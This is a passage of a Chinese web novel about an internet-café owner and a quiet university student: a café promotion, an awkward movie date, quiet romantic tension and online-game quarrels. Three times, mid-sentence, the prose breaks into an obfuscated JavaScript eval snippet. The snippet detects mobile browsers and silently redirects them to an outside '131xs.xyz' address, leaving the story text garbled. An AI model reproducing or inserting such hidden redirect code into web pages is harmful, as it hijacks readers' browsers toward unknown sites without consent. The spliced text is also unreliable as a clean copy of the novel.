擂台挑战有门槛,网管更倾向于体验,只做“头客”生意,目的在于用低成本分担网吧客流压力。只有陪玩。宴云川做了一套网吧内部陪玩系统,哪怕活动结束了这个系统依旧存在。相当于报名了陪玩的人,只要在星络上网,就能“边消费边赚钱”。 时和刷的认真,埋着头时不时用平板笔记着什么,以至于没到留意宴云川站在几米之外。 宴云川站了有几分钟了——在他的印象里,时和大多时候都在置身事外。游戏里单身他们讨论什么,他就听着,来了网吧也是一个人静静地呆在包厢里,哪怕在家,依旧像个“第三者”。好像对什么都不在乎,都不主动。他第一次看到这么多姿多彩的时和。就像那晚电话里的一样。 五天前,时和打电话问他:“你相信我吗?” 那是他收到的最独特的开场白。 “我可以帮你转化这次的流量经济……” “……网吧运营模式不变,星络永远都星络。” “我让它盈利。” 他记得时和是这么说的。 其实,接手网吧这两年他不是没有研究过让网吧盈利的办法。可所有的方案都在让他把星络“换掉”,换成电竞馆,换成娱乐综合馆,要拆、要装修。他一直在问:那样星络还是星络吗? 可时和却告诉他:“星络永远是星络。” 本来二选一的道路就这么多了第三条新路。 路边走来两个行色匆匆的背包客,像是赶时间,顾不上跟同伴说话,一步三块砖的往前走。视线里突然多了两道残影,时和埋头把帽檐拉低了一些。等残影离开,他才继续往下刷。 评论翻了个页,他忽地看到一个熟悉的名字。 [弦落:我想起这家网吧了!诶草!几年前我去过啊!收银台挂钟的款式都一模一样!当时的老板还叫凌岳呢!人也老帅了!还帮我过了个本!] 凌岳…… 时和诧异地点进这条评论,评论下面好几个星络的老顾客都出来认领了这位星络的“前东家”。他切出浏览器分屏,正想搜一下星络的工商变更信息,视线里突然多了一双白板鞋。 “时和。”宴云川喊了一声。 ** 早上七点的粥铺正是生意火爆的时候,好在大部分人都是打包。宴云川叫了两份牛肉粥,带着时和往角落的座位走。 刚坐下,时和从口袋里递出一盒润喉糖。 “药店买的?”宴云川用食指压着润喉糖勾过来,习惯性地把他当打火机转了两下。看见时和点头,他笑了笑,“这两天嗓子是不怎么好听。” 连续不间断地说了十来天的话,任谁都能得到一副鸭公嗓。只是宴云川没想到,曾经在药店仓惶逃跑的那个人,也会主动去药店了。 他目光柔柔地看着时和,就看到时和摇摇头。 “挺好听。”时和说。 宴云川笑着:“几天不见,学弟会哄人了。” 时和又摇了摇头,这次眼神更为坚定。 “没哄人。”他是真的觉得宴云川这样的声音也很好听。像是一张磨损但又意外唱出旧时光的唱片,别有一番风味。 说完,宴云川眼尾笑意直直蔓延到了嘴角。 老板的粥上得很快,没两下就听见取餐口的吆喝。宴云川起身拿粥,回来的时候看见时和往着门口出神。他顺着视线看过去,门口一对情侣撑着伞,男生低头不知道跟女生说些什么,惹得女生倩倩一笑。然后,男生亲了亲女生脸颊。 宴云川回头,时和看的更入神了。 他一时形容不上这样的眼神。就好像……想躲又忍不住,慌乱中带着向往。 也对,二十岁的少年本来就对恋爱抱有向往。时和迟早会谈恋爱。 宴云川这么想着,把牛肉粥摆到桌上。只是他不受控制的上了力,瓷碗短促地“砰”了一声,打断了时和的“欣赏”。 “不好意思,有点烫。”宴云川说。 时和不疑有他,从书包里拿出一包湿纸巾。 深蓝色的湿纸巾横在两人桌面,像是看穿了他刚才的怪异。宴云川怔了一下,突然解释不通刚才自己在做什么。他接过湿纸巾,说了声:“抱歉。” 一顿粥吃的极其沉默。时和不说话,是因为濯清要求“食不言”,宴云川不说话,却是因为想淡化刚才那怪异的举动。桌上只剩胡椒的辛辣。 吃好了,宴云川扫码准备付款,手机举起的时候,时和一同抬起了手。 像是没想到宴云川会抢着付款一样,时和顿了顿,提醒道:“猪脚饭。” 终于,宴云川无奈地笑了。 “学弟,你卡里还冲着三千。” “扯平了。”宴云川很轻地说。 看着时和直勾勾的眼神,宴云川躲了一下,又说:“嗯,也不算。我还欠你一盒润喉糖,我请。” 时和不知道宴云川突然为什么分的这么清楚了,不过他觉得这样“你来我往”的游戏好像也不错。于是,他也没拦着,收了手机,道了声谢。 ** 过了那个早上,宴云川又陷入了新一轮的忙碌中。只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914067|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的忙碌跟前两周比简直小巫见大巫。因为每天网吧都会有十个“见习网管”。新官上任总有三把火,“见习”的也一样。这些人经过简单培训,上起手来有模有样的,一会察言观色地给客人递茶,一会又给擂台旁边围观的客人推销饮料。 有了擂台赛,网吧好像永远不缺客流。那些在竞技场PK不过瘾的人“慕名前来”,擂台周围每天被里三层外三层的围了个水泄不通。 一开始,有人起哄要挑战宴云川,等宴云川真上了,这些人又在捶胸顿足嗷嗷认输,并且合伙在擂台放了一块“老板不得入内”的手绘牌子。 至于论坛那个帖子。 它好像被纪帆遗忘了,又或者放弃了。 到底是学生,在各种“校规校纪”、“遵纪守法”的熏陶下长大,能做的报复行为应该也仅限于此。宴云川是这么想的,然后,他走进收银台就看见林朔野半个身子趴在桌上,眼睛跟手机屏幕里的“苍城大学”几个字长在了一块。 宴云川弯腰:“在做什么?” 林朔野吓了一跳,做贼心虚地把手机摁灭了。看见是宴云川,他才拍着胸脯,重新点开屏幕,叨叨说道:“吓死我了!我还以为客人呢!” “哥!你看!”林朔野把手机递过去,手机里俨然是苍城大学的校园论坛。 苍大和榕大一样,校园论坛只允许校内学生登陆。宴云川随手划了两页,评论区就“曝光川云的到底是谁”争论得不可开交。光这两页,怀疑名单就有了十位缩写,其中一位便是:JF(纪帆)。 “你哪来的账号?”宴云川问。 林朔野打了个响指:“宝贝儿给的!” 他退出匿名论坛,点开账号个人信息,时和的名字连带一张证件照出现在页面上方。是十八岁的时和,眼神比现在生动得多。 林朔野还在悄悄声声地炫耀他的曝光方式,说什么:“高级的曝光才不像他那样直接点名,那样把大家的热情瞬间拉到最高阈值,过后不好收场!像我这样,时不时浑水摸鱼透露一点内幕,包管用的!大家都喜欢自己猜出来的真相——” 说到一半,宴云川侧过头:“你发的?” 林朔野“嗯哼”一声:“Of course!” “经过时和同意了吗?” “同意了!宝贝儿答应的可爽快了!” “……”宴云川指尖错愕地烫了一下。 他没想过时和会给账号,更没想过时和会同意林朔野发对纪帆不利的帖子。毕竟,时和对纪帆存着极大的愧疚。就是因为有这样的愧疚,才促使他对寂沐梵有求必应。 那现在是为什么? 因为他吗?因为纪帆曝光了他? 想法刚上来,林朔野在旁边冷不丁地“我去”一声。刚冒出来的一点不合时宜的想法及时地被冲散了。宴云川在心里自嘲了一声“病得不轻”,揉着眼睛把手机还给林朔野。 林朔野起身说:“差点忘了老沈的技能书!” 说完就风风火火趴回电脑前。 网吧的所有人都各自忙碌着,翁家阳在带教三个见习网管怎么开卡,俞秋今天休息,沈停在擂台边充当“裁判”。周围都在忙,就显得他格外清闲。 人一闲下来思维就容易发散。就比如他看着正前方的海报突然想到了时和。想着想着,又想到了那间充满摄像头的房子和那天坐在阶梯上的身影。大概印象里的身影太过耀眼又太过寂寥,宴云川倏地起身走到门外,鬼使神差地给时和打了个电话。 ** 时和接到电话的时候正在江边吹风。这儿江风的确很烈,吹得榕树枝条纠缠在一起,越缠越乱。 宴云川说过,遇到想不通的事就过来吹吹风,可他已经吹了五天了,有些事怎么吹也吹不散,反而像榕树枝条一样,聚成了一团。 看见来电,时和讶异地从石栏坎儿上跳下来,走到一片荫凉地。 电话接通,那头的人许是听见了风声,问道:“在外边儿?” 时和不受控地撒了慌:“在阳台。今天风大。” 宴云川好像没信,通话默了几秒。 但他没拆穿,只是问:“看论坛了吗?” “看了。” 其实出门没带平板。 “大家都很喜欢你出的活动方案。” “嗯。” 意料之中。 “那你呢?”时和问。 电话那头这会没停顿了:“我也喜欢。” 江上日头正烈,远处山坳像是被晒褪了颜色。时和耳边一直回荡着那句“喜欢”,江风没有吹散的思路,现在却无风自通了。 原来没那么难想。 他就是喜欢上宴云川了。他想试试。 以前都是濯清帮他做决定,帮他选择读什么学校,选什么专业,甚至交什么朋友。他为数不多成为“时和”的时光,下场都不太好。可他还是想试一试,如果不试试,就没有下一个宴云川了。 他想为自己做一次决定,哪怕后果万劫不复。 电话里的人像是专程来汇报活动成果的一样,挑了一些网吧琐事说着。时和很爱听,时不时应一句,又给了一些可以优化的细节方向。 等到宴云川说得差不多了,挂断电话之际,时和倏地说:“宴云川,我还有两张电影票。” 55.Chapter·称谓 宴云川没想到时和会突然约他看电影。他下意识想伸手摸打火机,伸到口袋里才想起来打火机上回扔垃圾桶四分五裂了,还没买新的。 没了打火机,他随手摘了一片榕树叶,拈在手上转了两圈,问道:“心情不好?” 时和在电话里顿了一下说:“没有。” 今天的榕城云很白,安安静静悬在天上,看不见一丝风浪。远处居民楼五层开着半扇窗,半边纱帘垂得笔直,跟云一样安静。 宴云川目光从纱帘上收回来。 电话里的人又问了一遍:“可以一起吗?” 他说道:“好。” ** 宴云川要和时和去看电影,林朔野是晚上知道的。他看见宴云川在电脑上选着影院,眼里错愕得仿佛看见了鬼,下一秒就嚷嚷着想要一起去,被宴云川拒绝了。 “为什么啊!哥!”林朔野一屁股坐桌子上,“你跟宝贝儿两个人有什么好玩的?电影肯定是人多看起来才有意思啊!看完立马能组成一个讨论组,要是时间够还能去喝个奶茶什么的!不好吗?” 宴云川睨了他一眼。 “你打算把秋儿和家阳两个人留在网吧?” “这不还有老沈嘛!” “行,你问问沈停愿意被留下吗。” 很明显,沈停是不愿意的。 “那……”林朔野来了个口,又心虚地闭上了。 见林朔野像是想明白了,宴云川才继续选着电影院。他筛选掉了几家环境不好的,又筛选掉了几家上午没排片的,最后选了一家早上九点开门的。 九点的影院就跟淡季的网吧一样,人肯定少,时和更能适应。 正想截图问时和看哪部,林朔野声音低低地插了进来:“哥,通常情侣才会去看双人电影。” 这话实在找茬,直接把所有的“朋友关系”给一杆打死了。要不是林朔野出生在二十一世纪,宴云川都得说一句:“时代变了。” 到底是自己弟弟,三观走偏了还得纠正。他放下鼠标转身,两根手指有节奏的敲着桌面,在记忆里搜寻了一会才说:“我没记岔的话,你初中跟同桌去看了一场双人柯南,又跟后桌看了一场双人鬼片,还跟隔壁班的看了一场双人复联,都是我买的票。到了高中,你——” 旧账翻到高中,沈停走到收银台。林朔野余光瞥见,赶紧跳下桌一连喊了好几声:“哥!哥哥哥哥!”才盖住了后面的声音。 沈停一脸纳闷:“你吃错药了?” 林朔野门牙一龇:“跟我哥闹着玩儿呢!” 沈停:“德性。” 他说着走到电脑前,给刚决出的胜负的擂主做了网费单,临走前对又林朔野说:“下一轮你来。” 林朔野点着头:“知道啦知道啦!” 等沈停走后,宴云川啼笑重复:“德性。” 他把几部早上有排片的电影截图给时和,问时和想看哪一部,又听着林朔野在旁边说:“这些陈年旧事肯定不能让老沈知道啊!给他知道他包提到我毕业!那还得了!” “行,”宴云川接着刚才的话头问,“那你现在还觉得双人电影只有情侣能看么?” 林朔野不说话了。 微信滴滴响了两声,时和截了一张电影封面发过来。宴云川看着封面诧异地挑了下眉头。 这是一部爱情片,可是口碑不太行。四角恋,悲剧收尾。虽然口碑不行,可它排片很高,从早排到晚,宣传铺天盖地。 大概是看见宣传选的吧,宴云川心想。况且众口难调,说不定时和喜欢看。如果中途时和不想看了,下一次再带他看个新的好了。 这么想着,他发了个:好。 又问:九点十五可以吗? 消息发出去,时和秒回了一个:嗯。 宴云川选了两个靠后的座位,防止晚点还有人买票。正想付款,林朔野欲言又止地开口:“哥……” 他转过身:“阿朔。” “啊?” “上次买早餐我就想问你了,你最近怎么了?” “……” 晚上的网吧是最喧闹的时候,旁边擂台区应该是有人连胜了,一群人鼓掌的鼓掌,猴叫的猴叫。可平时最猴叫的人,现在却安静地倚在桌边。 林朔野抿着唇角,手指扣在桌边。不知道过了多久,旁边的猴叫愈来愈烈。 他在喧闹中很小声地问了句:“哥,如果有一天宝贝儿喜欢上你了,你会答应吗?” 林朔野声音小得还不如喇叭里的游戏音效,可宴云川却听得一字不落,甚至震耳欲聋。 “不会有这一天。”宴云川很认真地说。 “为什么?”林朔野抬头。 宴云川也说不上来,就好像这句话不是回答林朔野,而是回答他自己。如果非要刨根问底给个缘由,大概是因为时和跟他不是一个世界的。他这辈子注定烂在网吧了,可时和不一样。时和有未来。 见宴云川一直没有回答,林朔野又问:“那如果呢?如果就是有这么一天,哥,你会答应吗?” “阿朔,”宴云川半垂着眼,“你知道我不会。” 收银台的空气突然变浑浊了,像一下承载了太多秘密,快要不堪重负。林朔野的手一直扣在桌沿没有拿开。这个答案在他的意料之中。就是因为在意料之中,他反而快要喘不过气了。 他好想跟宴云川说他这段时间的观察和猜测,又害怕他的猜测都是错的,只是他想太多,最后白白闹的宴云川和时和关系崩塌。 他后悔了。明明最开始是他撩的时和接近宴云川,知道时和就是沈停阿姨的孩子他开心了一晚上,想着利用宴云川的责任心,利用时和,利用时和让宴云川走出网吧。现在宴云川按照他的愿景开始往外走了,可这样的结果好像不是他想要的。 “哥。”林朔野又喊了一声。 “明天的电影我跟你们一起去吧。” 宴云川差点说出:“好。”脱口而出的瞬间,他想到了那天转转盘的时和,还有提到电影院满眼失落的时和。他不知道时和为什么突然想去看电影了,可直觉告诉他,如果带上林朔野,时和心里那扇好不容易推开门就会立马关上。那样,时和可能很长一段时间都不想看电影了。 最后,宴云川说道:“下次吧。” ** 两个人的电影最终还是看上了。时隔多年再次看电影,时和从昨晚的期待到兴奋再到进门前的紧张,现在已经步入了坐立难安的厌倦期。因为电影内容太烂了。四角恋的感情在时和看来根本算不上爱情。他虽然没有谈过恋爱,可他也看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919319|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗密欧与朱丽叶,看过梁祝,看过泰坦尼克号。 爱情应该像沈从文给张兆和的情书写的那样:我行过许多地方的桥,看过许多次数的云,喝过许多种类的酒,却只爱过一个正当最好年龄的人。 应该是这样才对。 看到三分之一,时和借着余光看了眼宴云川。宴云川半张脸笼在荧幕光里,眼神一直落在屏幕上,轻飘飘的,像蒙了一层薄雾,睫毛偶尔轻颤两下。看上去并不像在看剧情。 “宴云川。”时和喊了声。 旁边的人好像没听见。 这场电影只有他跟宴云川,影院的座位挨得很近,两杯可乐并排靠着,水汽落在扶手能融成一团。他特意选的爱情片。网上说,想要追人,爱情片更能渲染氛围。可他感觉,网上好像说的不对。 “宴云川。”时和眉头微微蹙着。 第二声宴云川才回头:“嗯?” 时和试探地问:“好看吗?” 宴云川眼睛眨了一下:“还——” 他本想敷衍地说还行,话到嘴边,看见时和眼尾微微下垂。他在心里叹了一下,说道:“其实不太好看,我走神了,抱歉。下回我带你看另一部。” 时和莫名就笑了。 “我也感觉不太好看。”时和说着。 宴云川问:“要走吗。” 时和点了点头。 虽然电影没看全,但他们回来路上正好看见一家奶茶店在做幻世录联名周边。宴云川见时和看的入神,就过去买了两杯奶茶,把送的流麻和徽章给了时和。很简单的两个东西,时和却把玩了一路。 ** 网吧下午突然变得很忙,时和给宴云川发的好几条消息,隔了很久才有回复。 纪帆发的论坛贴上周被他删了,删帖前还爆了句国粹:草了!他妈一群傻逼!老子开始说了是川云还不信!现在别他妈用我的地盘捧臭脚! 虽然纪帆说的义正严辞的,可时和总感觉是他看了校园论坛删帖避嫌。毕竟纪帆不能丢面子。 没了论坛,时和突然追踪不到网吧的实时信息了。虽然后面也有很多人开类似的贴,但是开贴的人太多,信息被分散,评论连不成一条线。一个帖子下,有的是三天前的评论,有的是昨天的,有的是上午的。就是没有实时的。 莫名的,时和有点心烦。 隔天,林朔野上了游戏,问时和要不要一块打本。时和看了看好友列表,宴云川没上线。 他在聊天框删删减减,问了句:网吧不忙吗? 林朔野回:昨天忙了一阵,今天还行。 时和突然想问:还行为什么宴云川不上线? 昨天也没上,就好像宴云川在游戏里躲着他一样。可他们明明才一起看了电影。 林朔野又问了一句:来吗来吗! 时和婉拒了。 他点开宴云川微信,上一条回复还是半小时前,他提醒宴云川周本今天刷新,宴云川回复了一句:“好。”然后,没多久林朔野就上线了。就好像是宴云川特意要林朔野上来的一样。 时和在宴云川的微信头像上滞留了很久,才打出一句憋了半天的话:师父,你A游戏了吗? 他发现他是自私的。 这声“师父”像是道德绑架的提醒。 56.Chapter·纠正 [时和:师父,你A游戏了吗?] 宴云川坐在电脑前一直盯着这句话,盯到翁家阳进来拿东西,不小心撞了下椅子,他才回过神。 之前有段时间,他很想要时和叫他师父,好像师父这个称谓叫出来了,他和时和的关系就能永远定格在“师徒”,不会越界,也不会倒退。现在时和如他所愿的叫了,他却没有觉得安全。反而感觉他们之间的关系又亲近了几寸,近到他想躲。 阿朔不会说一些没有证据的猜测。肯定是看见了什么、感受到了什么,才会纠结了好几天,小心翼翼地进行试探。旁观者清。 所以,这两天他都想让自己做一个旁观者,重新审视着之前和时和相处的一些细节。因为他害怕。害怕真的像阿朔说的那样,害怕真有那么一天,他会伤害到时和。他不想去赌那个“如果”。 可现在好像已经伤害到了。 宴云川盯着“师父”两个字,脑海里自动浮现出时和在电脑面前不安惶恐的模样。他心脏酸了一下,坐直身子,手指来回碰了几次键盘,最后呼了一口浊气,开始打字。 [川云:没有。] 算了,真有那么一天再说吧。 [川云:这段时间没休息好,眼睛疼。] 两条消息发出去,对面的人立马发了一个句号,像是怕他跑了一样。 [时和:我帮你打。] [时和:好好休息。] 现在眼睛是真的疼了。 他这两天到底在做什么……? 宴云川狠狠压着眼睛,怎么压都缓解不了那种胀痛。压得狠了,胀痛蔓延到了前额两侧。他拉开抽屉,拆了一板布洛芬。 吞了药他又起身,用手机继续打字。 [川云:没事。] [川云:你等我几分钟,我找个包厢。] 自从开了擂台区,平时那些来了就钻包厢的人为了凑热闹开始往大厅挤,包厢难得会空一两个。只是空的是五黑包,单人和双人都被占满了。 宴云川走进五人包厢,他直接挂了一个“故障维修”的牌子,坐下后又给俞秋发信息。 [川云:08的包间我用两小时,挂故障了。] 等开上电脑,登了游戏,俞秋才回了个收到。 他上一次下线的地方在帮派领地,所以登上游戏就默认回到了帮派驻地,这不奇怪。奇怪的是,时和也在帮派驻地,就在他身边,像是从他下线后就一直守在这里等他一样。 不等他发起组队,屏幕就弹出了组队邀请。 [玩家己见邀请您进入队伍,是否同意?] 今天的时和很没安全感,宴云川感受到了。无论是那个句号,还是现在这个邀请。时和仿佛在用自己的理解拼命抓着他,是真的怕他跑了。 他又在心里问了一句:自己到底在做什么? 带着懊悔和怅然的心情进了队,宴云川开口第一句便是:“抱歉。” 过了几秒,时和也开了麦。 时和:“嗯?” 宴云川眉头皱着,眼尾部分透着软。 他说道:“我不会A游戏,放心。” 耳机里传来轻轻的呼吸声,像是突然松了气。 “眼睛,还好吗?”时和问。 宴云川说:“吃了药,等药效上来会好些。” “要去医院吗?”时和又问。 宴云川安抚着:“没事,还没到那个程度。” 时和说了声:“好。” 说话间,宴云川在帮派发起了副本召集。帮派里的人看见两人组在一个队伍,兴奋得像是第一次见一样。一群打本的没打本的都出来凑热闹。 有人说:好几天没看到你俩组队了! 又有人说:上星期一直是见爹自己做日常,我还以为你俩吵架了呢! 这句话下面跟着几句反驳。 冷冷七弦上:见爹和川老板怎么可能吵架! 打小九壮:唯一徒弟好吧!川老板宝贝着呢! 雾眠:撤回!赶紧撤回! … 帮派频道的消息不支持撤回。宴云川的目光落在吵架两个字上,直到那句话被刷上去。 许是看见了帮派的闹哄,林朔野发来消息。 [尹川:哥?] [尹川:你不是不上么?] 宴云川回了句:想上了。 那头没了回复。 ** 周本来了几个高战力黑工,打得比以往都快。打完本,时和说去洗手间。等待的功夫,宴云川匹了个PK场,匹到的是一个破军。 那个破军看见是宴云川,当即开了频道麦。 开麦的人上前就开始嘤嘤嘤。如果不是竞技场里面不给开动作,他估计当场得跪一个。 他哭着说道:“川老板!还好是你啊!” 宴云川莫名地发了个问号。 准备阶段还有两分四十九秒,开麦的人争分夺秒的控诉这几天的耻辱:“你家徒弟这段时间杀疯了你知道吗!他杀起人来跟你一样凶——一样厉害!特码那幽篁玩起来跟个星引似的满场乱窜!遭不住啊川老板!在被幽篁凌迟处死和被御风一扇扇死之间,我宁愿选择后者!” 幽篁定位是奶,出厂就比输出少几个技能,能用来输出的那几个技能大部分是群攻,在竞技场很吃亏。因为群体技能打出去的伤害低,玩的再好也比不上输出的伤害,所以大家戏称被幽篁打就像在被凌迟。大概他上周忙着没怎么玩,时和就住在竞技场了,因为竞技场不用组队。 就那么一瞬,PK开始屏幕闪动的一瞬,宴云川忽然意识到,时和对自己的确有些过度依赖。 可他不知道该怎么纠正。明明他纠正林朔野的时候那么条条是道。 因为分神,他输了在竞技场的第一场PK。 世界炸了。 ** 时和从洗手间回来,发现自己竟然在牢里。系统给的坐牢理由是:捕快千逐将您捉拿归案。 捕快是幻世录的一个身份玩法。捕快每天可以在驿站接取玩家发起的举报令,接到举报令,并且战胜被举报的人,就可以将其捉拿归案,领取奖金。由于举报令发出不受限,这个玩法演变到最后,就成了大家“你挂我我挂你”的报复胜地。 他被举报了。 不过比起自己被举报——时和看了眼屏幕顶上五颜六色的喇叭信息——他更好奇宴云川怎么了。 喇叭三句不离宴云川: [见爹上了川老板的号?] [这话!己见上也不会输啊!] [我合理怀疑单身上的!川老板糊涂啊!] [手动@单身!是不是你!] … 消息没头没尾。 时和犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926002|171156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豫了一下,点开世界频道。他不断往上滑,滑了三分多钟才滑到事件的起始阶段。 起因是有个破军放出截图:卧槽卧槽卧槽!我他妈竟然赢了川老板!哈哈哈哈哈哈我要裱起来! 截图里,川云的ID旁边跟着一个灰色的“败”。 他眼睛眯了眯,看的不太舒服。 这个“败”字,就像他在论坛看见有人偷拍宴云川,发了句“什么大神,不就是一个小网吧的小老板吗”一样不舒服。他不喜欢宴云川被否定。 他关掉世界频道,又点开宴云川聊天框。正想问问情况,系统弹出提示:玩家川云已按《唐律》为您缴纳赎铜六十下六斤,罪责抵消,即刻开释!望您洗心革面,莫再触犯律法! 弹框消失之时,大牢尽头的石门缓缓打开,白光乍现之处依稀可见一抹黑色身影。身影摇着折扇朝他走来,一如九绡宫初遇那天的模样。 窗外榕树枝叶筛金,风起念生。 直到走出天牢,进了队伍,宴云川问:“看看谁发的举报令。”时和才想起来要问宴云川的问题。 他开了麦,话说一半:“刚才PK…” 宴云川自然接:“网络不好,卡了一段。” 不知道是心理作用还是怎么,时和总感觉宴云川说这话的语气不太自然,像极了精心准备的演讲稿,答得很快,语调平平的。 正思考着宴云川语气里的一点不对劲从何而来,宴云川又说:“点开驿站,可以看到ID。” 幻世录的策划向来看热闹不嫌事大,为了让玩家“冤有头债有主”、“互相残杀以坐收渔翁之利”,玩家发举报令都得“实名”,驿站NPC就可以查。 捕快也能发举报令,还能自己接。比如,时和看到举报自己的和捉拿自己的是同一个人。 他把ID发给宴云川,又点开这个人的资料卡。 这人资料卡展示近半年动态圈。上一条动态是三个月前发的,那时候他的ID不叫“千逐”,叫“灯半昏时”。动态发了一个大牢截图,文案写着:草了!有本事仇杀打!等挂机来偷袭算什么玩意儿! 这条动态跟开头的“草了”一样嘲讽,因为千逐也是在他挂机的时候偷袭他的。比这条动态更嘲讽的,是时和想起“灯半昏时”这个ID在哪见过了。 在帮派。他刚进帮派,抢板凳那会,那个说宴云川搞内幕的人,后来就退帮了。 时和鼠标落在“草了”两个字上,框了好几下。 他听见宴云川说:“我去做个举报令。” 宴云川正要退队,时和说了句:“他是纪帆。” 原来从一开始,他就遇见了纪帆。 ** 这就是不计较的意思了。宴云川取消了离队弹框,眉眼像是结了层冰,淡淡的。他突然发现,纪帆对时和的影响比他想象中的更大。只要对面是纪帆,时和就可以不计较得失,一退再退。 他指尖敲着桌面,忽然想到什么似的点开了微信。刚输入一个“月”字,包厢门被敲了两下。 俞秋从门缝里探进来一个脑袋,满眼写着“不是我想进来的”,跟被绑架似的指了指门外说:“老板,这儿有两个人说认识您,要进来……” 话音刚落,门缝传来男生咳嗽声。接着, 一个女生扒在玻璃上露了半个眼睛,眨眼喊道:“川老板!听得出我声儿吗?” 57.Chapter·聚餐 朝夕打本聊天的声音很好认,虽然线下与线上听起来有点偏差,但声线依旧。 俞秋看见宴云川意外的模样就知道这几人是真认识。来者皆是客,老板的朋友更是贵客!她非常有眼力见儿的推开门,端着极好的服务意识做了个邀请的手势。等人进门,她又说道:“我去拿瓜子可乐小板——小零食!” 跟进来的男生逗她口误:“小板凳也成啊!” 俞秋嬉笑指着包厢四台空闲的电脑回:“小板凳儿这里够多啦!”说罢便关门溜了出去。 跟进来的男生问宴云川:“秋儿?” 宴云川在键盘上敲了几下,起身点点头。 男生回头看着门口说:“挺有意思一人。” 他头还没回过来,同行的女生就白了她一眼,揶揄说:“过了明天你还记得人家的模样吗!我可记得你前两天还逮着一个路人喊徒弟!” 单身嘿道:“柚儿,你线下攻击力挺强啊?” 柚子挑了挑下巴,算是默认。 网吧已经很久没有来过“朋友”了,平日里只有林朔野和俞秋拌拌嘴,偶尔插一个沈停。宴云川看着两人熟稔的交谈,眼里闪了一瞬的恍然和怀念。 然后,女生问他:“川老板!你认出我了?” 宴云川回过神,“嗯”一声:“柚子。” 另一个便是单身。 “你们怎么来了?”他问道。 刚问完,就见柚子摊手朝单身招了招。 单身啧啧两声,从钱夹里拿出两张红票子,笑着说:“早知道先去找川儿了,川儿肯定认不出。” 两人来的路上打赌,赌柚子能不能被认出来。 也不能怪单身会赌认不出,因为柚子的现实形象和游戏相差太大。在游戏里,柚子成天穿着粉色天蓝果绿一些甜美风格的衣服“招摇过市”,加上声音也很甜,大家一直以为柚子是一个扎马尾戴圆框眼镜的二次元萌妹。可现实是,柚子是一个身高一米七二,短发齐肩,除了声音没一处甜的御姐。 或者也只是外表御。 宴云川眼睛瞥过她的粉色手机壳和毛绒吊坠。 单身在几年前跟宴云川见过一面,那会是凌岳组的局。两人少了很多寒暄。他自来熟地拉了张椅子,坐下又晃了晃鼠标,敲了敲键盘,像是领导巡查似的玩够了才揶揄说:“星络现在可是明星网吧!全服大半都来过了,那我不来跟不上时代啊!” “至于她。”他指了指柚子,“路上捡的。” 说来也巧,这两人各自密谋偷偷来网吧,结果在同一架飞机上,同时上厕所,同时遇见了。 柚子叉着腰“喂”一声:“怎么不说我捡你呢!” 单身很随意:“你捡你捡你捡,给你捡。” 话落,他问宴云川:“怎么不见你徒弟呢?” 包厢的空气凝固了一瞬,宴云川手指蜷了蜷。 单身的话问的相当自然,就是太自然了,他才发现有很多以前被他忽略的事。就比如,不知道从什么时候开始,所有人都认为他和时和应该形影不离。宴云川和时和,不知怎么就被绑在了一起。 “他——” 宴云川刚想说“他在家”,俞秋推门进来。 俞秋像刚进货回来似的往桌上一个股脑倒了两篮零食,还强力推荐了两款烘焙薯条和香芋片。柚子很有情绪价值地“哇”一声,拆开一包香芋片就往嘴里丢,眉眼弯弯地看着俞秋说:“不敢想我每天活在这里该有多幸福!”末了还送了一个飞吻。 俞秋没被单身打趣影响,倒被这个飞吻闹矫情了。她帮忙开了一罐可乐,留下一句倒反天罡的“有需要可以让老板叫我”,飘飘然地带上了门。 包厢又安静下来。 柚子接着刚才的话题对单身说:“飞机气压给你压傻了吧!大佬在苍城!” 在其他人的印象里,时和一直在苍大。 单身连连“噢”道:“对对,差点给忘了!”他拍拍脑袋,“嗐”一声,“还不是这两人在游戏里整天粘一块,给我整习惯了都。现在看见川老板我就想找见儿,肌肉反应!” 说着,他顺手掏出手机就给宴云川拍了一张。 宴云川望着他。 “别看我,”单身说,“我这不突然想起来要给你徒弟发写真嘛。人啊,不能言而无信。”他边说边点开时和微信,及有效率地把刚拍的照片发了出去。 照片刚蹦到聊天框里,下一秒就收到了回复。 见儿:还有吗? 见儿:[转账?3000.00请收款] 单身乐了。 ** 时和靠在椅子上。屏幕里,幽篁站在御风身边,时不时弹着箜篌,搭配御风摇折扇的待机动作,江水悠悠,桃树漫漫,随便截一张图放在论坛里都能衍生出十篇论文。他截了一张图保存下来,想了想又发到手机上,用拼图软件把游戏截图和单身发的照片拼在了一起。 手机响起叮叮两声。 